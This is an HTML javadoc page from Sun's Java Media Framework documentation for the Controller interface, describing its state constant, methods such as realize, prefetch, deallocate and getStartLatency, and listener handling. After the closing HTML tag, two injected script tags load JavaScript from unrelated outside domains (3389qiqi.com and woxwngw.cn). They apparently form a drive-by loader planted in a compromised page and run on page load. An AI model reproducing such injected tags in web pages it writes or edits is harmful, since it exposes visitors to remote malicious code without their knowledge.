controller.html

JMF原版英文说明文档

<DD>Returned by <CODE>getState</CODE>.</DL>
<HR>

<A NAME="Started"><!-- --></A><H3>
Started</H3>
<PRE>
public static final int <B>Started</B></PRE>
<DL>
<DD>Returned by <CODE>getState</CODE>.</DL>

<!-- ========= CONSTRUCTOR DETAIL ======== -->


<!-- ============ METHOD DETAIL ========== -->

<A NAME="method_detail"><!-- --></A>
<TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=1><FONT SIZE="+2">
<B>Method Detail</B></FONT></TD>
</TR>
</TABLE>

<A NAME="getState()"><!-- --></A><H3>
getState</H3>
<PRE>
public int <B>getState</B>()</PRE>
<DL>
<DD>Gets the current state of this <code>Controller</code>.
 The state is an integer constant as defined above.
 <p>
 <B>Note:</B>
 A race condition can occur between
 the return of this method and the execution of
 a state changing method.<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Returns:</B><DD>The <code>Controller's</code> current state.</DL>
</DD>
</DL>
<HR>

<A NAME="getTargetState()"><!-- --></A><H3>
getTargetState</H3>
<PRE>
public int <B>getTargetState</B>()</PRE>
<DL>
<DD>Gets the current target state of this <code>Controller</code>.
 The state is an integer constant as defined above.
<p>
 <B>Note:</B>
 A race condition can occur between
 the return of this method and the execution of
 a state changing method.<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Returns:</B><DD>The <code>Controller's</code> current target state.</DL>
</DD>
</DL>
<HR>

<A NAME="realize()"><!-- --></A><H3>
realize</H3>
<PRE>
public void <B>realize</B>()</PRE>
<DL>
<DD>Constructs the media dependent portions of the <code>Controller</code>.
 This may include examining media data and might
 take some time to complete.
 <p>
 The <code>realize</code> method puts the <code>Controller</code> into the <i>Realizing</i> state and returns immediately.
 When <code>realize</code> is complete and the <code>Controller</code> is in the
 <i>Realized</i> state, the <code>Controller</code> posts a
 <code>RealizeCompleteEvent</code>.<DD><DL>
</DL>
</DD>
</DL>
<HR>

<A NAME="prefetch()"><!-- --></A><H3>
prefetch</H3>
<PRE>
public void <B>prefetch</B>()</PRE>
<DL>
<DD>Processes as much data as necessary
 to reduce the <CODE>Controller's</CODE> start latency to the shortest possible time.
 This typically involves examining media data and takes some
 time to complete.
 <p>
 The <code>prefetch</code> method puts the <code>Controller</code> into the <i>Prefetching</i> state and returns immediately.
 When <i>Prefetching</i> is complete and the <code>Controller</code> is in
 the <i>Prefetched</i> state, the <code>Controller</code> posts
 a <code>PrefetchCompleteEvent</code>.<DD><DL>
</DL>
</DD>
</DL>
<HR>

<A NAME="deallocate()"><!-- --></A><H3>
deallocate</H3>
<PRE>
public void <B>deallocate</B>()</PRE>
<DL>
<DD>Aborts the current operation and cease any activity that
 consumes system resources. If a <code>Controller</code> is not yet 
 <i>Realized</i>,
 it returns to the <i>Unrealized</i> state. Otherwise, the <code>Controller</code>
 returns to the <i>Realized</i> state.
 <p>
 It is illegal to call <code>deallocate</code> on a <i>Started</i>&nbsp;<code>Controller</code>. 
 A <CODE>ClockStartedError</CODE> is thrown if <CODE>deallocate</CODE>
 is called and the <CODE>Controller</CODE> is in the <i>Started</i> state.<DD><DL>
</DL>
</DD>
</DL>
<HR>

<A NAME="close()"><!-- --></A><H3>
close</H3>
<PRE>
public void <B>close</B>()</PRE>
<DL>
<DD>Releases all resources and cease all activity.
 The <CODE>close</CODE> method indicates that the <code>Controller</code> will
 no longer be used and can
 shut itself down.
 A <code>ControllerClosedEvent</code> is posted. 
 Methods invoked on a closed <code>Controller</code>
 might throw errors.<DD><DL>
</DL>
</DD>
</DL>
<HR>

<A NAME="getStartLatency()"><!-- --></A><H3>
getStartLatency</H3>
<PRE>
public <A HREF="../../javax/media/Time.html">Time</A> <B>getStartLatency</B>()</PRE>
<DL>
<DD>Gets the <code>Controller's</code> start latency in nanoseconds. The start latency represents a 
 worst-case estimate of the  amount of time it will take
 to present the first frame of data.
 <p>

 This method is useful for determining how far in advance the
 <code>syncStart</code> method must be invoked to ensure 
 that media will be
 rendered at the specified start time.
 <p>
 For a <code>Controller</code> that has a variable start latency,
 the value returned represents the maximum possible
 start latency.  If you call <code>getStartLatency</code> on a <CODE>Controller</CODE> that isn't <I>Prefetched</I> 
 and <code>getStartLatency</code> returns <code>LATENCY_UNKNOWN</code>, calling
 <code>prefetch</code> and then calling <code>getStartLatency</code> again after the <code>Controller</code> posts 
 a <code>PrefetchCompleteEvent</code> might
 return a more accurate estimate. 
 If <code>getStartLatency</code> still returns <code>LATENCY_UNKNOWN</code>, 
 the start latency is indeterminate and you might not be able to use
 <code>syncStart</code> to 
 synchronize the <code>Controller</code> with other <code>Controllers</code>.
 <p>
 <b>Note</b>: In most cases, the value returned by
 <code>getStartLatency</code> will change once the
 <code>Controller</code> is <i>Prefetched</i>.<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Returns:</B><DD>The time it will take before the first frame of media
 can be presented.</DL>
</DD>
</DL>
<HR>

<A NAME="getControls()"><!-- --></A><H3>
getControls</H3>
<PRE>
public <A HREF="../../javax/media/Control.html">Control</A>[] <B>getControls</B>()</PRE>
<DL>
<DD>Gets a list of the <code>Control</code> objects supported by 
 this <code>Controller</code>.
 If there are no controls, an array of length zero
 is returned.<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Returns:</B><DD>A list of <code>Controller</code>&nbsp;<code>Controls</code>.</DL>
</DD>
</DL>
<HR>

<A NAME="getControl(java.lang.String)"><!-- --></A><H3>
getControl</H3>
<PRE>
public <A HREF="../../javax/media/Control.html">Control</A> <B>getControl</B>(java.lang.String&nbsp;forName)</PRE>
<DL>
<DD>Gets the <code>Control</code> that supports the specified 
 class or interface. The full class
 or interface name should be specified.
 <code>Null</code> is returned if the <code>Control</code>
 is not supported.<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Returns:</B><DD><code>Control</code> for the class or interface
 name.</DL>
</DD>
</DL>
<HR>

<A NAME="addControllerListener(javax.media.ControllerListener)"><!-- --></A><H3>
addControllerListener</H3>
<PRE>
public void <B>addControllerListener</B>(<A HREF="../../javax/media/ControllerListener.html">ControllerListener</A>&nbsp;listener)</PRE>
<DL>
<DD>Specifies a <code>ControllerListener</code> to which
 this <code>Controller</code>  will send events.
 A <code>Controller</code> can have multiple
 <code>ControllerListeners</code>.<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>listener</CODE> - The listener to which the <CODE>Controller</CODE>
 will post events.</DL>
</DD>
</DL>
<HR>

<A NAME="removeControllerListener(javax.media.ControllerListener)"><!-- --></A><H3>
removeControllerListener</H3>
<PRE>
public void <B>removeControllerListener</B>(<A HREF="../../javax/media/ControllerListener.html">ControllerListener</A>&nbsp;listener)</PRE>
<DL>
<DD>Removes the specified listener from this <code>Controller's</code>
 listener list.<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>listener</CODE> - The listener that has been receiving events from this
 <code>Controller</code>.</DL>
</DD>
</DL>
<!-- ========= END OF CLASS DATA ========= -->
<HR>

<!-- ========== START OF NAVBAR ========== -->
<A NAME="navbar_bottom"><!-- --></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">
  <TR ALIGN="center" VALIGN="top">
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD>
  </TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>

<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
&nbsp;<A HREF="../../javax/media/Control.html"><B>PREV CLASS</B></A>&nbsp;
&nbsp;<A HREF="../../javax/media/ControllerListener.html"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
  <A HREF="../../index.html" TARGET="_top"><B>FRAMES</B></A>  &nbsp;
&nbsp;<A HREF="Controller.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
  SUMMARY: &nbsp;INNER&nbsp;|&nbsp;<A HREF="#field_summary">FIELD</A>&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: &nbsp;<A HREF="#field_detail">FIELD</A>&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD>
</TR>
</TABLE>
<!-- =========== END OF NAVBAR =========== -->

<HR>
<font size="-1">  <a href="mailto:[e-mail]">Submit a bug or feature</a>  <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road,  Palo Alto, California, 94303, U.S.A. All Rights Reserved.  See the <a href="spec-license.html">Specification License</a> for more details.  <br>Sun, Sun Microsystems, and Java are trademarks or registered  trademarks of Sun Microsystems, Inc. in the US and other countries.</font>
</BODY>
</HTML>

<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>